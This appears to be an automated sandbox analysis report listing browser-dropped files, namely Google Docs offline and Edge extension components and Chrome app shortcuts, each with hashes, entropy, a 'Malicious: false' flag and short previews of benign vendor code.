Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1038148922\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1834582241\65047dee-2838-4e16-9cab-726ed26f1cf5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1834582241\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1834582241\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1834582241\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7552_1834582241\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 04:59:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9801759790596436
Encrypted:	false
SSDEEP:	48:8rdjTLPTHCidAKZdA19ehwiZUklqeh/y+3:8xX8Qy
MD5:	108F4310DFB5EB24CB11D0AB39283E38
SHA1:	91EE60B6736BF57511F5843EDD847CE7BDFA2880
SHA-256:	BC06A00B790E58F7EF5AF4C021318EE7E545F976B5C7C24BF1F4CDFAC8A99267
SHA-512:	3F7E3BE13EFAAF8E838AA84851BA262D555C828C247D2C641644A3770A6E1B9824363A570B14DC19217EEDFCB6CB4408722BC048313D6BC342DEF81CB4F5BD0D
Malicious:	false
Preview:	L..................F.@.. ...$+.,........)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Yc/....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Yc/....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Yc/....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Yc/..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ye/...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 04:59:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.994310914121075
Encrypted:	false
SSDEEP:	48:8i3djTLPTHCidAKZdA1weh/iZUkAQkqehAy+2:8IXO9Qhy
MD5:	5666D713BC76671A7C10A8ADBB6ED11D
SHA1:	4EBB5FEC96711E0B87C9B3945B0041BFD3A1606A
SHA-256:	628D029902D034681E4E27A333B1F14535F7C77FADEC7B3920456CDE7CE53EE6
SHA-512:	9DCE43BCE4781A04D7A58A00452ECDADC50DAA68E1B72A964FCC49D0C4EF3079B4E709471F3AD022771A64628F04897AABC2CD89CC3DBD5EF56F63B3D7034CBD
Malicious:	false
Preview:	L..................F.@.. ...$+.,....G@..)..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Yc/....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Yc/....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Yc/....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Yc/..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V]Ye/...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006316598090383
Encrypted:	false
SSDEEP:	48:8xQdjTLPsHCidAKZdA14tseh7sFiZUkmgqeh7siy+BX:8x8X/nMy
MD5:	48F9F05DFC04D68CFB78DE2B10A22405
SHA1:	7C236B81DD361F8685C5A61C46DEEA617F95C33D
SHA-256:	51BE0850684F4E5E6F3E417D37D1AC3F3E199DB248501CC2A053FA6DEDA9E80A
SHA-512:	3C69B4082E4602DDA8D84F204C5576F8CECF33E760EA72F6B083E8006739C58C63FBA0A454CEB50836486837078D3D9D09549DEC5309052235BEC6B1C17278BC
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I]Yc/....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V]Yc/....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V]Yc/....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V]Yc/..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Oct 29 04:59:09 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.99612377971974
Encrypted:	false
SSDEEP:	48:8XdjTLPTHCidAKZdA1vehDiZUkwqehEy+R:89XV6y
MD5:	2586F0D7E1AD3A120B5E1C477FFA4B7A
SHA1:	3A07169D7F1A428B60243826408E4D1A897847DE
SHA-256:	483F0867DB7BB76CB45FCFD87069E58152600165501064E833DF795565BE5C77
SHA-512:	F1DDBDCED49CAD59187E37F6C77E861DC4025AACB29760564B40BD722B6EF4499B03E67E834DD689868C56C30346270F15A6B1C8F6128486621CBD3A17FB637B
Malicious:	false
